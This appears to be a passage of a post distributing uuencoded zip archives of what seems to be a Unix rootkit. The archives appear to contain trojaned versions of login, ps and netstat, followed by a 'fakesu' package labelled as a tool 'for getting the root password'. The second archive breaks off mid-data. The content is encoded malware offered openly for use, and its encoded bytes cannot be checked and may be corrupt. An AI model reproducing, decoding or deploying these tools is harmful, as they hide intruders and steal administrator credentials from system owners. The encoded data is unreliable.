M4L'K^N6R>5F?AC\?<8-N^!?9JUA2;D3\:]LW;NOR`=L`3@Y(34$.P/!;-)M9
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
M`%!+`0(4!@H``````+2^1"+=R\9L*````"@````.``````````$`(`"V@0``
M``!L:6YU>"YR;V]T+FMI=%!+`0(4!@H``````+(;/B(````````````````&
M````````````$`#_050```!L;V=I;B]02P$"%`84````"`!TGDL=R>L>:7<$
M``#7"P``"P`````````!`"``MH%X````;&]G:6XO9FEX+F-02P$"%`84````
M"`#.G4L=EKDFE]D!``!N`P``#P`````````!`"``MH$8!0``;&]G:6XO9V5T
M<&%S<RYC4$L!`A0&%`````@`N9U+'<(GG7W&(@``I%H```T``````````0`@
M`+:!'@<``&QO9VEN+VQO9VEN+F-02P$"%`84````"`"YG4L=O.J[7C,$```T
M"0``#@`````````!`"``MH$/*@``;&]G:6XO36%K969I;&502P$"%`84````
M"`#%G4L=-9MQ6KT!``"U`P``$0`````````!`"``MH%N+@``;&]G:6XO<&%T
M:&YA;65S+FA02P$"%`8*``````"Q&SXB````````````````"```````````
M`!``_T%:,```;F5T<W1A="]02P$"%`84````"`"B:5`=0OU.EGX```#V````
M$``````````!`"``MH&`,```;F5T<W1A="]C;VYF:6<N:%!+`0(4!A0````(
M`,)\4!W)ZQYI=P0``-<+```-``````````$`(`"V@2PQ``!N971S=&%T+V9I
M>"YC4$L!`A0&"@``````L1L^(@````````````````P````````````0`/]!
MSC4``&YE='-T870O;&EB+U!+`0(4!A0````(`'!C4!T.[^U8K@(``"(&```0
M``````````$`(`"V@?@U``!N971S=&%T+VQI8B]A9BYC4$L!`A0&%`````@`
M<&-0'9[4Q17N!@``A!$``!(``````````0`@`+:!U#@``&YE='-T870O;&EB
M+V%X,C4N8U!+`0(4!A0````(`'!C4!V=`,XSX@0``-`+```3``````````$`
M(`"V@?(_``!N971S=&%T+VQI8B]E=&AE<BYC4$L!`A0&%`````@`<&-0'9EC
MA1=2!```(@D``!4``````````0`@`+:!!44``&YE='-T870O;&EB+V=E=&%R
M9W,N8U!+`0(4!A0````(`/!Z4!UG_V3I!`,``.0%```5``````````$`(`"V
M@8I)``!N971S=&%T+VQI8B]G971S;V-K+F-02P$"%`84````"`!P8U`=HZ6G
M>0,#``"?!P``$``````````!`"``MH'!3```;F5T<W1A="]L:6(O:'<N8U!+
M`0(4!A0````(`'!C4!T::Z]`>P8``*P0```2``````````$`(`"V@?)/``!N
M971S=&%T+VQI8B]I;F5T+F-02P$"%`84````"`!P8U`=7(PDR^D"``"@!0``
M%@`````````!`"``MH&=5@``;F5T<W1A="]L:6(O;&]O<&)A8VLN8U!+`0(4
M!A0````(`$"I41T!'JB`M````"8!```4``````````$`(`"V@;I9``!N971S
M=&%T+VQI8B]-86ME9FEL95!+`0(4!A0````(`'!C4!V6Y9WUC@(``)P$```1
M``````````$`(`"V@:!:``!N971S=&%T+VQI8B]P<'`N8U!+`0(4!A0````(
M`'!C4!U1NK5:M@,``,X+```2``````````$`(`"V@5U=``!N971S=&%T+VQI
M8B]S;&EP+F-02P$"%`84````"`"C9%`=(OH;U($"``#<!0``%0`````````!
M`"``MH%#80``;F5T<W1A="]L:6(O<W5P<&]R="YH4$L!`A0&%`````@`<&-0
M'?.ZS?LZ`P``3P<``!(``````````0`@`+:!]V,``&YE='-T870O;&EB+W5N
M:7@N8U!+`0(4!A0````(`"BI41T5-&WC_@```(T!```0``````````$`(`"V
M@6%G``!N971S=&%T+TUA:V5F:6QE4$L!`A0&%`````@``JA1'=DI'P]R&```
MC60``!$``````````0`@`+:!C6@``&YE='-T870O;F5T<W1A="YC4$L!`A0&
M%`````@`B&-0'7BPS!U-`@``(P8``!,``````````0`@`+:!+H$``&YE='-T
M870O<&%T:&YA;65S+FA02P$"%`84````"`#NJ%$=!7O0U?(````J`@``#@``
M```````!`"``MH&L@P``;F5T<W1A="]214%$34502P$"%`8*``````"(8U`=
MWU8BXSP````\````$0`````````!`"``MH'*A```;F5T<W1A="]V97)S:6]N
M+FA02P$"%`8*``````"Q&SXB````````````````#````````````!``_T$U
MA0``;F5T<W1A="UO;&0O4$L!`A0&%`````@`[F92':9A;%ZO'@``SET``!$`
M`````````0`@`+:!7X4``&YE='-T870M;VQD+S(N=75E4$L!`A0&%`````@`
M!&52'<GK'FEW!```UPL``!$``````````0`@`+:!/:0``&YE='-T870M;VQD
M+V9I>"YC4$L!`A0&%`````@`HF12'1X)?UV7````W@```!0``````````0`@
M`+:!XZ@``&YE='-T870M;VQD+TUA:V5F:6QE4$L!`A0&%`````@`Z692';#5
ML++I$P``!$0``!,````````````@`+:!K*D``&YE='-T870M;VQD+VYE='-T
M87102P$"%`84````"``B8E(=>('M0=`0``!"3P``%0`````````!`"``MH'&
MO0``;F5T<W1A="UO;&0O;F5T<W1A="YC4$L!`A0&%`````@`W&92'6?_?4_M
M&0``YD```!4````````````@`+:!R<X``&YE='-T870M;VQD+VYE='-T870N
M;U!+`0(4!A0````(`%:\;AS15/5GB`$``&8#```7``````````$`(`"V@>GH
M``!N971S=&%T+6]L9"]P871H;F%M97,N:%!+`0(4!A0````(`%EE4AW._=J#
M#0$``$,"```2``````````$`(`"V@:;J``!N971S=&%T+6]L9"]214%$3450
M2P$"%`8*``````"R&SXB`````````````````P```````````!``_T'CZP``
M<',O4$L!`A0&%`````@`885+'>_UZOU9`0``P`(```H``````````0`@`+:!
M!.P``'!S+V%L;&]C+F-02P$"%`84````"`!AA4L=81V![NP,``#_)@``#```
M```````!`"``MH&%[0``<',O8V]M<&%R92YC4$L!`A0&%`````@`A(5+';`@
M8^'H!0``X@P```P``````````0`@`+:!F_H``'!S+V1E=FYA;64N8U!+`0(4
M!A0````(`'.>2QW)ZQYI=P0``-<+```(``````````$`(`"V@:T``0!P<R]F
M:7@N8U!+`0(4!A0````(`&.%2QWS!)RV#P8``/<1```+``````````$`(`"V
M@4H%`0!P<R]-86ME9FEL95!+`0(4!A0````(`&&%2QV/_G#35!,``-TT```'
M``````````$`(`"V@8(+`0!P<R]P<RYC4$L!`A0&%`````@`>(5+'?4?3;)6
M!```<@D```<``````````0`@`+:!^QX!`'!S+W!S+FA02P$"%`84````"`!H
MA4L=[2;RL!8"``"K!```"P`````````!`"``MH%V(P$`<',O<'-D871A+FA0
M2P$"%`84````"`!AA4L=\J)3_EH!``"K`@``#``````````!`"``MH&U)0$`
M<',O<'=C86-H92YC4$L!`A0&%`````@`!(9+'7ZS"CSQ`0``L@0```P`````
M`````0`@`+:!.2<!`'!S+W-I9VYA;',N8U!+`0(4!A0````(`/:%2QU3-?""
M/@$``"("```,``````````$`(`"V@50I`0!P<R]S:6=N86QS+FA02P$"%`84
M````"`!AA4L=KBQ3ILH/```D.```"0`````````!`"``MH&\*@$`<',O<VYA
M<"YC4$L!`A0&%`````@`885+'=R=/V/"````90$```L``````````0`@`+:!
MK3H!`'!S+W-T871U<RYC4$L!`A0&%`````@`885+'4//N6GZ`@``Q0@```P`
M`````````0`@`+:!F#L!`'!S+W-Y<VEN9F\N8U!+`0(4!A0````(`(^%2QTO
M1`.>F@```!(!```,``````````$`(`"V@;P^`0!P<R]S>7-I;F9O+FA02P$"
M%`84````"`#7A4L=`&,*=E<<``#14```"``````````!`"``MH&`/P$`<',O
M=&]P+F-02P$"%`84````"`!AA4L=>&_+5XT$``"*"@``#0`````````!`"``
MMH']6P$`<',O=VAA='1I;64N8U!+`0(4!A0````(`(R%2QW"*U?`<P```)P`
M```-``````````$`(`"V@;5@`0!P<R]W:&%T=&EM92YH4$L%!@`````Y`#D`
*?`T``%-A`0````$`
`
end

4. Fack SU program - For getting the root password.

begin 644 fakesu.zip
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
